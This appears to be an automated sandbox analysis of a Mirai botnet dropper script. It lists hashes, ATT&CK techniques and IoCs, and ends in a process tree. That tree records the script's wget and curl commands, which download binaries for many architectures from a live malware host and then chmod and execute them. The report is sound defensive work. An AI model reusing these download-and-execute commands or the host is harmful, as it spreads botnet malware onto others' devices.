mirai | ea0bdc1803529bcfa0f6188c15a373ae977699e7f6362d3cc34797c3f857a5d4

Analysis

max time kernel
139s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/12/2024, 19:02

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General

Target

ohshit.sh
Size

3KB
MD5

044a846325b0a1a2a62139e419e0c460
SHA1

b7ba7d24f534c02b73c5e292364f0ba51ce10d79
SHA256

ea0bdc1803529bcfa0f6188c15a373ae977699e7f6362d3cc34797c3f857a5d4
SHA512

8a450e41d886ba67a5044da06f82bac2a3a78874199eb3af57576316b645dfd414bddedc942cde7a047351b88a68b616584182e3fa1242a1237287770401ff1c

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1488	chmod
1494	chmod
1532	chmod
1552	chmod
1604	chmod
1614	chmod
1564	chmod
1574	chmod
1594	chmod
1512	chmod
1634	chmod
1522	chmod
1542	chmod
1584	chmod
1624	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1489	Chaotic
/tmp/Chaotic	1495	Chaotic
/tmp/Chaotic	1513	Chaotic
/tmp/Chaotic	1523	Chaotic
/tmp/Chaotic	1533	Chaotic
/tmp/Chaotic	1543	Chaotic
/tmp/Chaotic	1553	Chaotic
/tmp/Chaotic	1565	Chaotic
/tmp/Chaotic	1575	Chaotic
/tmp/Chaotic	1585	Chaotic
/tmp/Chaotic	1595	Chaotic
/tmp/Chaotic	1605	Chaotic
/tmp/Chaotic	1615	Chaotic
/tmp/Chaotic	1625	Chaotic
/tmp/Chaotic	1635	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/468/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/1283/status	Chaotic
File opened for reading	/proc/1556/status	Chaotic
File opened for reading	/proc/1528/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/467/status	Chaotic
File opened for reading	/proc/1508/status	Chaotic
File opened for reading	/proc/160/status	Chaotic
File opened for reading	/proc/21/status	Chaotic
File opened for reading	/proc/34/status	Chaotic
File opened for reading	/proc/464/status	Chaotic
File opened for reading	/proc/465/status	Chaotic
File opened for reading	/proc/1548/status	Chaotic
File opened for reading	/proc/1467/status	Chaotic
File opened for reading	/proc/89/status	Chaotic
File opened for reading	/proc/26/status	Chaotic
File opened for reading	/proc/335/status	Chaotic
File opened for reading	/proc/98/status	Chaotic
File opened for reading	/proc/168/status	Chaotic
File opened for reading	/proc/1279/status	Chaotic
File opened for reading	/proc/1077/status	Chaotic
File opened for reading	/proc/1466/status	Chaotic
File opened for reading	/proc/1343/status	Chaotic
File opened for reading	/proc/126/status	Chaotic
File opened for reading	/proc/464/status	Chaotic
File opened for reading	/proc/82/status	Chaotic
File opened for reading	/proc/80/status	Chaotic
File opened for reading	/proc/1140/status	Chaotic
File opened for reading	/proc/654/status	Chaotic
File opened for reading	/proc/491/status	Chaotic
File opened for reading	/proc/553/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/1030/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/1364/status	Chaotic
File opened for reading	/proc/589/status	Chaotic
File opened for reading	/proc/1173/status	Chaotic
File opened for reading	/proc/716/status	Chaotic
File opened for reading	/proc/695/status	Chaotic
File opened for reading	/proc/1050/status	Chaotic
File opened for reading	/proc/1016/status	Chaotic
File opened for reading	/proc/1239/status	Chaotic
File opened for reading	/proc/1123/status	Chaotic
File opened for reading	/proc/1556/status	Chaotic
File opened for reading	/proc/15/status	Chaotic
File opened for reading	/proc/1144/status	Chaotic
File opened for reading	/proc/1240/status	Chaotic
File opened for reading	/proc/1536/status	Chaotic
File opened for reading	/proc/1182/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/1135/status	Chaotic
File opened for reading	/proc/1556/status	Chaotic
File opened for reading	/proc/553/status	Chaotic
File opened for reading	/proc/1111/status	Chaotic
File opened for reading	/proc/23/status	Chaotic
File opened for reading	/proc/1155/status	Chaotic
File opened for reading	/proc/1228/status	Chaotic
File opened for reading	/proc/1054/status	Chaotic
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/17/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1529	wget
1530	curl
1539	wget
1540	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1472
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1473
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1487
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1489
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1491
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1493
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1495
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1513
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1523
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1533
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1539
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1543
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-timedated.service-jigLuE ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1553
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1561
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1565
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1575
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1581
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1585
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1591
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1595
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1601
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1605
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1611
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/chmod
  chmod +x busybox Chaotic config-err-rJ0QKx netplan_twhpd75w ohshit.sh snap-private-tmp ssh-uxNhGA2PLfAN systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-bolt.service-hlwbSJ systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-colord.service-HuJndO systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-ModemManager.service-rWWPAA systemd-private-4e2d4b91262348f29e0a494cd9e96eb3-systemd-resolved.service-bQR5mZ ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1615
- /usr/bin/wget
  wget http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1621
- /usr/bin/curl
  curl -O http://154.213.187.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1622
- /bin/chmod
